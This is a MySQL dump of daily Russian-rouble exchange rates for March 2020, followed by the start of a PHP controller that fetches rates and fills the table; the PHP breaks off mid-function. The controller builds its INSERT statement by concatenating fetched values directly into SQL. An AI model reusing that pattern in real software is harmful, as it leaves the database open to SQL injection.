(7901, 'R01535', 578, 'NOK', 'Норвежских крон', 67.5689, 1584655200),
(7902, 'R01565', 985, 'PLN', 'Польский злотый', 18.9761, 1584655200),
(7903, 'R01585F', 946, 'RON', 'Румынский лей', 17.9338, 1584655200),
(7904, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 109.3943, 1584655200),
(7905, 'R01625', 702, 'SGD', 'Сингапурский доллар', 55.3418, 1584655200),
(7906, 'R01670', 972, 'TJS', 'Таджикских сомони', 82.284, 1584655200),
(7907, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.2984, 1584655200),
(7908, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.9348, 1584655200),
(7909, 'R01717', 860, 'UZS', 'Узбекских сумов', 84.1959, 1584655200),
(7910, 'R01720', 980, 'UAH', 'Украинских гривен', 28.8383, 1584655200),
(7911, 'R01760', 203, 'CZK', 'Чешских крон', 31.3714, 1584655200),
(7912, 'R01770', 752, 'SEK', 'Шведских крон', 77.5918, 1584655200),
(7913, 'R01775', 756, 'CHF', 'Швейцарский франк', 82.5, 1584655200),
(7914, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 46.158, 1584655200);
INSERT INTO `currency` (`id`, `valuteID`, `numCode`, `сharCode`, `name`, `value`, `date`) VALUES
(7915, 'R01815', 410, 'KRW', 'Вон Республики Корея', 62.8264, 1584655200),
(7916, 'R01820', 392, 'JPY', 'Японских иен', 73.5453, 1584655200),
(7917, 'R01010', 36, 'AUD', 'Австралийский доллар', 45.826, 1584568800),
(7918, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.5132, 1584568800),
(7919, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 93.0263, 1584568800),
(7920, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7658, 1584568800),
(7921, 'R01090B', 933, 'BYN', 'Белорусский рубль', 31.6253, 1584568800),
(7922, 'R01100', 975, 'BGN', 'Болгарский лев', 43.3149, 1584568800),
(7923, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4081, 1584568800),
(7924, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.269, 1584568800),
(7925, 'R01200', 344, 'HKD', 'Гонконгских долларов', 99.4245, 1584568800),
(7926, 'R01215', 208, 'DKK', 'Датская крона', 11.3357, 1584568800),
(7927, 'R01235', 840, 'USD', 'Доллар США', 77.2131, 1584568800),
(7928, 'R01239', 978, 'EUR', 'Евро', 84.8881, 1584568800),
(7929, 'R01270', 356, 'INR', 'Индийских рупий', 10.3788, 1584568800),
(7930, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.5053, 1584568800),
(7931, 'R01350', 124, 'CAD', 'Канадский доллар', 54.1087, 1584568800),
(7932, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.5903, 1584568800),
(7933, 'R01375', 156, 'CNY', 'Китайский юань', 10.9906, 1584568800),
(7934, 'R01500', 498, 'MDL', 'Молдавских леев', 43.2688, 1584568800),
(7935, 'R01535', 578, 'NOK', 'Норвежских крон', 72.943, 1584568800),
(7936, 'R01565', 985, 'PLN', 'Польский злотый', 18.8877, 1584568800),
(7937, 'R01585F', 946, 'RON', 'Румынский лей', 17.471, 1584568800),
(7938, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.6623, 1584568800),
(7939, 'R01625', 702, 'SGD', 'Сингапурский доллар', 53.7846, 1584568800),
(7940, 'R01670', 972, 'TJS', 'Таджикских сомони', 79.3027, 1584568800),
(7941, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.9692, 1584568800),
(7942, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.0924, 1584568800),
(7943, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.1034, 1584568800),
(7944, 'R01720', 980, 'UAH', 'Украинских гривен', 28.4034, 1584568800),
(7945, 'R01760', 203, 'CZK', 'Чешских крон', 31.1871, 1584568800),
(7946, 'R01770', 752, 'SEK', 'Шведских крон', 77.5053, 1584568800),
(7947, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.2798, 1584568800),
(7948, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 45.8614, 1584568800),
(7949, 'R01815', 410, 'KRW', 'Вон Республики Корея', 61.4984, 1584568800),
(7950, 'R01820', 392, 'JPY', 'Японских иен', 71.9366, 1584568800),
(7951, 'R01010', 36, 'AUD', 'Австралийский доллар', 44.9397, 1584482400),
(7952, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 43.5541, 1584482400),
(7953, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 90.2192, 1584482400),
(7954, 'R01060', 51, 'AMD', 'Армянских драмов', 15.0872, 1584482400),
(7955, 'R01090B', 933, 'BYN', 'Белорусский рубль', 31.2773, 1584482400),
(7956, 'R01100', 975, 'BGN', 'Болгарский лев', 42.0544, 1584482400),
(7957, 'R01115', 986, 'BRL', 'Бразильский реал', 14.7764, 1584482400),
(7958, 'R01135', 348, 'HUF', 'Венгерских форинтов', 23.748, 1584482400),
(7959, 'R01200', 344, 'HKD', 'Гонконгских долларов', 95.1572, 1584482400),
(7960, 'R01215', 208, 'DKK', 'Датская крона', 11.0076, 1584482400),
(7961, 'R01235', 840, 'USD', 'Доллар США', 73.8896, 1584482400),
(7962, 'R01239', 978, 'EUR', 'Евро', 82.3056, 1584482400),
(7963, 'R01270', 356, 'INR', 'Индийских рупий', 99.7699, 1584482400),
(7964, 'R01335', 398, 'KZT', 'Казахстанских тенге', 16.9439, 1584482400),
(7965, 'R01350', 124, 'CAD', 'Канадский доллар', 52.7105, 1584482400),
(7966, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.1345, 1584482400),
(7967, 'R01375', 156, 'CNY', 'Китайский юань', 10.5398, 1584482400),
(7968, 'R01500', 498, 'MDL', 'Молдавских леев', 41.6397, 1584482400),
(7969, 'R01535', 578, 'NOK', 'Норвежских крон', 72.2354, 1584482400),
(7970, 'R01565', 985, 'PLN', 'Польский злотый', 18.344, 1584482400),
(7971, 'R01585F', 946, 'RON', 'Румынский лей', 16.9877, 1584482400),
(7972, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 101.8672, 1584482400),
(7973, 'R01625', 702, 'SGD', 'Сингапурский доллар', 51.9325, 1584482400),
(7974, 'R01670', 972, 'TJS', 'Таджикских сомони', 75.9283, 1584482400),
(7975, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.4725, 1584482400),
(7976, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 21.1415, 1584482400),
(7977, 'R01717', 860, 'UZS', 'Узбекских сумов', 77.5988, 1584482400),
(7978, 'R01720', 980, 'UAH', 'Украинских гривен', 27.3767, 1584482400),
(7979, 'R01760', 203, 'CZK', 'Чешских крон', 30.097, 1584482400),
(7980, 'R01770', 752, 'SEK', 'Шведских крон', 75.3929, 1584482400),
(7981, 'R01775', 756, 'CHF', 'Швейцарский франк', 77.754, 1584482400),
(7982, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.6582, 1584482400),
(7983, 'R01815', 410, 'KRW', 'Вон Республики Корея', 59.6067, 1584482400),
(7984, 'R01820', 392, 'JPY', 'Японских иен', 69.2272, 1584482400),
(7985, 'R01010', 36, 'AUD', 'Австралийский доллар', 45.8026, 1584396000),
(7986, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 43.3411, 1584396000),
(7987, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 91.7015, 1584396000),
(7988, 'R01060', 51, 'AMD', 'Армянских драмов', 15.1951, 1584396000),
(7989, 'R01090B', 933, 'BYN', 'Белорусский рубль', 31.3417, 1584396000),
(7990, 'R01100', 975, 'BGN', 'Болгарский лев', 42.4816, 1584396000),
(7991, 'R01115', 986, 'BRL', 'Бразильский реал', 15.2536, 1584396000),
(7992, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.4121, 1584396000),
(7993, 'R01200', 344, 'HKD', 'Гонконгских долларов', 95.4533, 1584396000),
(7994, 'R01215', 208, 'DKK', 'Датская крона', 11.118, 1584396000),
(7995, 'R01235', 840, 'USD', 'Доллар США', 74.1262, 1584396000),
(7996, 'R01239', 978, 'EUR', 'Евро', 82.7471, 1584396000),
(7997, 'R01270', 356, 'INR', 'Индийских рупий', 99.7594, 1584396000),
(7998, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.0176, 1584396000),
(7999, 'R01350', 124, 'CAD', 'Канадский доллар', 53.4628, 1584396000),
(8000, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.1669, 1584396000),
(8001, 'R01375', 156, 'CNY', 'Китайский юань', 10.5928, 1584396000),
(8002, 'R01500', 498, 'MDL', 'Молдавских леев', 41.9147, 1584396000),
(8003, 'R01535', 578, 'NOK', 'Норвежских крон', 73.1244, 1584396000),
(8004, 'R01565', 985, 'PLN', 'Польский злотый', 18.891, 1584396000),
(8005, 'R01585F', 946, 'RON', 'Румынский лей', 17.215, 1584396000),
(8006, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 102.1578, 1584396000),
(8007, 'R01625', 702, 'SGD', 'Сингапурский доллар', 52.1905, 1584396000),
(8008, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.3008, 1584396000),
(8009, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.6424, 1584396000),
(8010, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 21.2092, 1584396000),
(8011, 'R01717', 860, 'UZS', 'Узбекских сумов', 77.733, 1584396000),
(8012, 'R01720', 980, 'UAH', 'Украинских гривен', 28.124, 1584396000),
(8013, 'R01760', 203, 'CZK', 'Чешских крон', 31.1219, 1584396000),
(8014, 'R01770', 752, 'SEK', 'Шведских крон', 76.9599, 1584396000),
(8015, 'R01775', 756, 'CHF', 'Швейцарский франк', 78.732, 1584396000),
(8016, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.5743, 1584396000),
(8017, 'R01815', 410, 'KRW', 'Вон Республики Корея', 60.4959, 1584396000),
(8018, 'R01820', 392, 'JPY', 'Японских иен', 69.7888, 1584396000),
(8019, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.0647, 1584309600),
(8020, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 42.7926, 1584309600),
(8021, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 92.2684, 1584309600),
(8022, 'R01060', 51, 'AMD', 'Армянских драмов', 15.1112, 1584309600),
(8023, 'R01090B', 933, 'BYN', 'Белорусский рубль', 31.3038, 1584309600),
(8024, 'R01100', 975, 'BGN', 'Болгарский лев', 41.8553, 1584309600),
(8025, 'R01115', 986, 'BRL', 'Бразильский реал', 15.2743, 1584309600),
(8026, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.1988, 1584309600),
(8027, 'R01200', 344, 'HKD', 'Гонконгских долларов', 94.2479, 1584309600),
(8028, 'R01215', 208, 'DKK', 'Датская крона', 10.9553, 1584309600),
(8029, 'R01235', 840, 'USD', 'Доллар США', 73.1882, 1584309600),
(8030, 'R01239', 978, 'EUR', 'Евро', 81.861, 1584309600),
(8031, 'R01270', 356, 'INR', 'Индийских рупий', 98.9264, 1584309600),
(8032, 'R01335', 398, 'KZT', 'Казахстанских тенге', 18.0054, 1584309600),
(8033, 'R01350', 124, 'CAD', 'Канадский доллар', 52.8969, 1584309600),
(8034, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.0418, 1584309600),
(8035, 'R01375', 156, 'CNY', 'Китайский юань', 10.4653, 1584309600),
(8036, 'R01500', 498, 'MDL', 'Молдавских леев', 41.5134, 1584309600),
(8037, 'R01535', 578, 'NOK', 'Норвежских крон', 72.6968, 1584309600),
(8038, 'R01565', 985, 'PLN', 'Польский злотый', 18.7494, 1584309600),
(8039, 'R01585F', 946, 'RON', 'Румынский лей', 16.9877, 1584309600),
(8040, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 101.4571, 1584309600),
(8041, 'R01625', 702, 'SGD', 'Сингапурский доллар', 51.9618, 1584309600),
(8042, 'R01670', 972, 'TJS', 'Таджикских сомони', 75.4907, 1584309600),
(8043, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.6275, 1584309600),
(8044, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 20.9408, 1584309600),
(8045, 'R01717', 860, 'UZS', 'Узбекских сумов', 76.8219, 1584309600),
(8046, 'R01720', 980, 'UAH', 'Украинских гривен', 28.0454, 1584309600),
(8047, 'R01760', 203, 'CZK', 'Чешских крон', 31.3675, 1584309600),
(8048, 'R01770', 752, 'SEK', 'Шведских крон', 75.0648, 1584309600),
(8049, 'R01775', 756, 'CHF', 'Швейцарский франк', 77.3905, 1584309600),
(8050, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.8397, 1584309600),
(8051, 'R01815', 410, 'KRW', 'Вон Республики Корея', 60.0538, 1584309600),
(8052, 'R01820', 392, 'JPY', 'Японских иен', 69.0292, 1584309600),
(8053, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.0647, 1584223200),
(8054, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 42.7926, 1584223200),
(8055, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 92.2684, 1584223200),
(8056, 'R01060', 51, 'AMD', 'Армянских драмов', 15.1112, 1584223200),
(8057, 'R01090B', 933, 'BYN', 'Белорусский рубль', 31.3038, 1584223200),
(8058, 'R01100', 975, 'BGN', 'Болгарский лев', 41.8553, 1584223200),
(8059, 'R01115', 986, 'BRL', 'Бразильский реал', 15.2743, 1584223200),
(8060, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.1988, 1584223200),
(8061, 'R01200', 344, 'HKD', 'Гонконгских долларов', 94.2479, 1584223200),
(8062, 'R01215', 208, 'DKK', 'Датская крона', 10.9553, 1584223200),
(8063, 'R01235', 840, 'USD', 'Доллар США', 73.1882, 1584223200),
(8064, 'R01239', 978, 'EUR', 'Евро', 81.861, 1584223200),
(8065, 'R01270', 356, 'INR', 'Индийских рупий', 98.9264, 1584223200),
(8066, 'R01335', 398, 'KZT', 'Казахстанских тенге', 18.0054, 1584223200),
(8067, 'R01350', 124, 'CAD', 'Канадский доллар', 52.8969, 1584223200),
(8068, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.0418, 1584223200),
(8069, 'R01375', 156, 'CNY', 'Китайский юань', 10.4653, 1584223200),
(8070, 'R01500', 498, 'MDL', 'Молдавских леев', 41.5134, 1584223200),
(8071, 'R01535', 578, 'NOK', 'Норвежских крон', 72.6968, 1584223200),
(8072, 'R01565', 985, 'PLN', 'Польский злотый', 18.7494, 1584223200),
(8073, 'R01585F', 946, 'RON', 'Румынский лей', 16.9877, 1584223200),
(8074, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 101.4571, 1584223200),
(8075, 'R01625', 702, 'SGD', 'Сингапурский доллар', 51.9618, 1584223200),
(8076, 'R01670', 972, 'TJS', 'Таджикских сомони', 75.4907, 1584223200),
(8077, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.6275, 1584223200),
(8078, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 20.9408, 1584223200),
(8079, 'R01717', 860, 'UZS', 'Узбекских сумов', 76.8219, 1584223200),
(8080, 'R01720', 980, 'UAH', 'Украинских гривен', 28.0454, 1584223200),
(8081, 'R01760', 203, 'CZK', 'Чешских крон', 31.3675, 1584223200),
(8082, 'R01770', 752, 'SEK', 'Шведских крон', 75.0648, 1584223200),
(8083, 'R01775', 756, 'CHF', 'Швейцарский франк', 77.3905, 1584223200),
(8084, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.8397, 1584223200),
(8085, 'R01815', 410, 'KRW', 'Вон Республики Корея', 60.0538, 1584223200),
(8086, 'R01820', 392, 'JPY', 'Японских иен', 69.0292, 1584223200),
(8087, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.0647, 1584136800),
(8088, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 42.7926, 1584136800),
(8089, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 92.2684, 1584136800),
(8090, 'R01060', 51, 'AMD', 'Армянских драмов', 15.1112, 1584136800),
(8091, 'R01090B', 933, 'BYN', 'Белорусский рубль', 31.3038, 1584136800),
(8092, 'R01100', 975, 'BGN', 'Болгарский лев', 41.8553, 1584136800),
(8093, 'R01115', 986, 'BRL', 'Бразильский реал', 15.2743, 1584136800),
(8094, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.1988, 1584136800),
(8095, 'R01200', 344, 'HKD', 'Гонконгских долларов', 94.2479, 1584136800),
(8096, 'R01215', 208, 'DKK', 'Датская крона', 10.9553, 1584136800),
(8097, 'R01235', 840, 'USD', 'Доллар США', 73.1882, 1584136800),
(8098, 'R01239', 978, 'EUR', 'Евро', 81.861, 1584136800),
(8099, 'R01270', 356, 'INR', 'Индийских рупий', 98.9264, 1584136800),
(8100, 'R01335', 398, 'KZT', 'Казахстанских тенге', 18.0054, 1584136800),
(8101, 'R01350', 124, 'CAD', 'Канадский доллар', 52.8969, 1584136800),
(8102, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.0418, 1584136800),
(8103, 'R01375', 156, 'CNY', 'Китайский юань', 10.4653, 1584136800),
(8104, 'R01500', 498, 'MDL', 'Молдавских леев', 41.5134, 1584136800),
(8105, 'R01535', 578, 'NOK', 'Норвежских крон', 72.6968, 1584136800),
(8106, 'R01565', 985, 'PLN', 'Польский злотый', 18.7494, 1584136800),
(8107, 'R01585F', 946, 'RON', 'Румынский лей', 16.9877, 1584136800),
(8108, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 101.4571, 1584136800),
(8109, 'R01625', 702, 'SGD', 'Сингапурский доллар', 51.9618, 1584136800),
(8110, 'R01670', 972, 'TJS', 'Таджикских сомони', 75.4907, 1584136800),
(8111, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.6275, 1584136800),
(8112, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 20.9408, 1584136800),
(8113, 'R01717', 860, 'UZS', 'Узбекских сумов', 76.8219, 1584136800),
(8114, 'R01720', 980, 'UAH', 'Украинских гривен', 28.0454, 1584136800),
(8115, 'R01760', 203, 'CZK', 'Чешских крон', 31.3675, 1584136800),
(8116, 'R01770', 752, 'SEK', 'Шведских крон', 75.0648, 1584136800),
(8117, 'R01775', 756, 'CHF', 'Швейцарский франк', 77.3905, 1584136800),
(8118, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.8397, 1584136800),
(8119, 'R01815', 410, 'KRW', 'Вон Республики Корея', 60.0538, 1584136800),
(8120, 'R01820', 392, 'JPY', 'Японских иен', 69.0292, 1584136800),
(8121, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.7773, 1584050400),
(8122, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 43.6354, 1584050400),
(8123, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.7329, 1584050400),
(8124, 'R01060', 51, 'AMD', 'Армянских драмов', 15.287, 1584050400),
(8125, 'R01090B', 933, 'BYN', 'Белорусский рубль', 31.5359, 1584050400),
(8126, 'R01100', 975, 'BGN', 'Болгарский лев', 42.6523, 1584050400),
(8127, 'R01115', 986, 'BRL', 'Бразильский реал', 15.3737, 1584050400),
(8128, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.6989, 1584050400),
(8129, 'R01200', 344, 'HKD', 'Гонконгских долларов', 95.2452, 1584050400),
(8130, 'R01215', 208, 'DKK', 'Датская крона', 11.164, 1584050400),
(8131, 'R01235', 840, 'USD', 'Доллар США', 74.0274, 1584050400),
(8132, 'R01239', 978, 'EUR', 'Евро', 83.6584, 1584050400),
(8133, 'R01270', 356, 'INR', 'Индийских рупий', 99.801, 1584050400),
(8134, 'R01335', 398, 'KZT', 'Казахстанских тенге', 18.5031, 1584050400),
(8135, 'R01350', 124, 'CAD', 'Канадский доллар', 53.7755, 1584050400),
(8136, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.1652, 1584050400),
(8137, 'R01375', 156, 'CNY', 'К<NAME>', 10.5985, 1584050400),
(8138, 'R01500', 498, 'MDL', 'Молдавских леев', 42.1809, 1584050400),
(8139, 'R01535', 578, 'NOK', 'Норвежских крон', 75.3974, 1584050400),
(8140, 'R01565', 985, 'PLN', 'Польский злотый', 19.2424, 1584050400),
(8141, 'R01585F', 946, 'RON', 'Румынский лей', 17.3111, 1584050400),
(8142, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 103.0173, 1584050400),
(8143, 'R01625', 702, 'SGD', 'Сингапурский доллар', 52.8767, 1584050400),
(8144, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.309, 1584050400),
(8145, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.8712, 1584050400),
(8146, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 21.1809, 1584050400),
(8147, 'R01717', 860, 'UZS', 'Узбекских сумов', 77.9193, 1584050400),
(8148, 'R01720', 980, 'UAH', 'Украинских гривен', 28.6567, 1584050400),
(8149, 'R01760', 203, 'CZK', 'Чешских крон', 32.1132, 1584050400),
(8150, 'R01770', 752, 'SEK', 'Шведских крон', 77.4694, 1584050400),
(8151, 'R01775', 756, 'CHF', 'Швейцарский франк', 79.0638, 1584050400),
(8152, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 45.1013, 1584050400),
(8153, 'R01815', 410, 'KRW', 'Вон Республики Корея', 61.4289, 1584050400),
(8154, 'R01820', 392, 'JPY', 'Японских иен', 71.424, 1584050400),
(8155, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.5926, 1583964000),
(8156, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 42.1291, 1583964000),
(8157, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 92.5277, 1583964000),
(8158, 'R01060', 51, 'AMD', 'Армянских драмов', 14.7975, 1583964000),
(8159, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.8588, 1583964000),
(8160, 'R01100', 975, 'BGN', 'Болгарский лев', 41.3731, 1583964000),
(8161, 'R01115', 986, 'BRL', 'Бразильский реал', 15.3905, 1583964000),
(8162, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.1533, 1583964000),
(8163, 'R01200', 344, 'HKD', 'Гонконгских долларов', 92.0189, 1583964000),
(8164, 'R01215', 208, 'DKK', 'Датская крона', 10.8312, 1583964000),
(8165, 'R01235', 840, 'USD', 'Доллар США', 71.472, 1583964000),
(8166, 'R01239', 978, 'EUR', 'Евро', 81.0207, 1583964000),
(8167, 'R01270', 356, 'INR', 'Индийских рупий', 97.0164, 1583964000),
(8168, 'R01335', 398, 'KZT', 'Казахстанских тенге', 18.0448, 1583964000),
(8169, 'R01350', 124, 'CAD', 'Канадский доллар', 52.1389, 1583964000),
(8170, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.2282, 1583964000),
(8171, 'R01375', 156, 'CNY', 'Китайский юань', 10.2829, 1583964000),
(8172, 'R01500', 498, 'MDL', 'Молдавских леев', 41.0169, 1583964000),
(8173, 'R01535', 578, 'NOK', 'Норвежских крон', 74.4826, 1583964000),
(8174, 'R01565', 985, 'PLN', 'Польский злотый', 18.7576, 1583964000),
(8175, 'R01585F', 946, 'RON', 'Румынский лей', 16.7952, 1583964000),
(8176, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 99.6112, 1583964000),
(8177, 'R01625', 702, 'SGD', 'Сингапурский доллар', 51.3965, 1583964000),
(8178, 'R01670', 972, 'TJS', 'Таджикских сомони', 73.8271, 1583964000),
(8179, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.6366, 1583964000),
(8180, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 20.4498, 1583964000),
(8181, 'R01717', 860, 'UZS', 'Узбекских сумов', 75.0914, 1583964000),
(8182, 'R01720', 980, 'UAH', 'Украинских гривен', 27.9528, 1583964000),
(8183, 'R01760', 203, 'CZK', 'Чешских крон', 31.5759, 1583964000),
(8184, 'R01770', 752, 'SEK', 'Шведских крон', 75.332, 1583964000),
(8185, 'R01775', 756, 'CHF', 'Швейцарский франк', 76.457, 1583964000),
(8186, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4632, 1583964000),
(8187, 'R01815', 410, 'KRW', 'Вон Республики Корея', 59.9935, 1583964000),
(8188, 'R01820', 392, 'JPY', 'Японских иен', 68.1042, 1583964000),
(8189, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.2817, 1583877600),
(8190, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 42.4526, 1583877600),
(8191, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.052, 1583877600),
(8192, 'R01060', 51, 'AMD', 'Армянских драмов', 15.0435, 1583877600),
(8193, 'R01090B', 933, 'BYN', 'Белорусский рубль', 31.0877, 1583877600),
(8194, 'R01100', 975, 'BGN', 'Болгарский лев', 41.9335, 1583877600),
(8195, 'R01115', 986, 'BRL', 'Бразильский реал', 15.2438, 1583877600),
(8196, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.3932, 1583877600),
(8197, 'R01200', 344, 'HKD', 'Гонконгских долларов', 92.7076, 1583877600),
(8198, 'R01215', 208, 'DKK', 'Датская крона', 10.9803, 1583877600),
(8199, 'R01235', 840, 'USD', 'Доллар США', 72.0208, 1583877600),
(8200, 'R01239', 978, 'EUR', 'Евро', 81.8588, 1583877600),
(8201, 'R01270', 356, 'INR', 'Индийских рупий', 97.1292, 1583877600),
(8202, 'R01335', 398, 'KZT', 'Казахстанских тенге', 18.1834, 1583877600),
(8203, 'R01350', 124, 'CAD', 'Канадский доллар', 52.7586, 1583877600),
(8204, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.3068, 1583877600),
(8205, 'R01375', 156, 'CNY', 'Китайский юань', 10.3666, 1583877600),
(8206, 'R01500', 498, 'MDL', 'Молдавских леев', 41.5704, 1583877600),
(8207, 'R01535', 578, 'NOK', 'Норвежских крон', 75.8753, 1583877600),
(8208, 'R01565', 985, 'PLN', 'Польский злотый', 18.9918, 1583877600),
(8209, 'R01585F', 946, 'RON', 'Румынский лей', 17.0169, 1583877600),
(8210, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 100.8118, 1583877600),
(8211, 'R01625', 702, 'SGD', 'Сингапурский доллар', 51.8732, 1583877600),
(8212, 'R01670', 972, 'TJS', 'Таджикских сомони', 74.3249, 1583877600),
(8213, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.7506, 1583877600),
(8214, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 20.6068, 1583877600),
(8215, 'R01717', 860, 'UZS', 'Узбекских сумов', 75.8433, 1583877600),
(8216, 'R01720', 980, 'UAH', 'Украинских гривен', 28.433, 1583877600),
(8217, 'R01760', 203, 'CZK', 'Чешских крон', 32.1242, 1583877600),
(8218, 'R01770', 752, 'SEK', 'Шведских крон', 76.3183, 1583877600),
(8219, 'R01775', 756, 'CHF', 'Швейцарский франк', 77.4584, 1583877600),
(8220, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 45.2793, 1583877600),
(8221, 'R01815', 410, 'KRW', 'Вон Республики Корея', 60.2922, 1583877600),
(8222, 'R01820', 392, 'JPY', 'Японских иен', 69.0748, 1583877600);
--
-- Индексы сохранённых таблиц
--
--
-- Индексы таблицы `currency`
--
ALTER TABLE `currency`
ADD PRIMARY KEY (`id`);
--
-- AUTO_INCREMENT для сохранённых таблиц
--
--
-- AUTO_INCREMENT для таблицы `currency`
--
ALTER TABLE `currency`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8223;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep><?php
class ToolsController
{
public function actionFillCours()
{
$insert = "";
$date = date("Y-m-d");
for ($i=0; $i < 30; $i++){
$days_ago = date('Y-m-d', strtotime("-$i days", strtotime($date)));
$days_ago_url = date('d/m/Y', strtotime("-$i days", strtotime($date)));
$currenciesList = Tools::getCurrencies($days_ago_url);
if(!$currenciesList){
echo 'Unable to load data for '.$days_ago_url.'<br>';
continue;
}
foreach($currenciesList as $cur){
if(!Currency::checkExists($cur['ID'],strtotime($days_ago))){
//Currency::add($cur['ID'],$cur->NumCode,$cur->CharCode,$cur->Name,$cur->Value,strtotime($days_ago));
$insert .= "('".$cur['ID']."',".$cur->NumCode.",'".$cur->CharCode."','".$cur->Name."',".str_replace(',','.',$cur->Value).",".strtotime($days_ago)."),";
}
}
echo 'Uploaded data for '.$days_ago_url.'<br>';
}
if($insert!=""){
$insert = rtrim($insert, ",");
$insert .= ";";
Currency::multipleAdd($insert);
}
exit;
}
public function actionApi()
{
//worktest/api/get?id=R01010&from=2020-04-06&to=2020-04-08
//$currencies = Currency::delete(strtotime($_GET['from']), strtotime($_GET['to']));
$currencies = Currency::find($_GET['id'], strtotime($_GET['from']), strtotime($_GET['to']));
$period = new DatePeriod(
new DateTime($_GET['from']),
new DateInterval('P1D'),
new DateTime($_GET['to'])
);
$insert = "";
foreach($period as $date){
if(!array_search(strtotime($date->format('Y-m-d')), array_column($currencies, 'date'))){
//echo ($date->format('Y-m-d')).'<br>';
$date_url = date('d/m/Y', strtotime($date->format('Y-m-d')));
$currenciesList = Tools::getCurrencies($date_url);
if(!$currenciesList){
continue;
}
foreach($currenciesList as $cur){
